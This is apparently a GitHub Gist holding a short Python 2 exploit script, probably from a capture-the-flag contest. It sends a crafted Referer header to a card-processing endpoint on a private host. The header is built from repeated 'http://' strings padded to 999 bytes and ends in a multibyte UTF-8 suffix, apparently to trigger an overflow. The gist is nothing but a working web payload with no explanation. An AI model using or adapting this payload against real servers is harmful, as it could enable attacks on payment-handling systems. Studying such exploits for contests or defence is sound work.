Created
August 19, 2019 13:46
-
-
Save Jinmo/024f09f253cda16c4688e7c4d94f4732 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
sess=requests.Session() | |
HOST,PORT='10.13.37.8',8888 | |
# overflow_len: http:// | |
# overflow_payload <- suffix | |
append=u'a\u3fff'.encode('utf8') | |
append=bytes(append) | |
print `append` | |
payload=('http://'*(len(append))).ljust(999-len(append),'a')+append | |
m,y='10','22' | |
number='0' | |
url='http://'+HOST+':'+str(PORT)+'/cc/process.js?card-number='+number+'&expiry-month='+m+'&expiry-year='+y | |
r = sess.get(url, headers={ | |
'Referer': payload | |
}, allow_redirects=False) | |
print r.headers |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment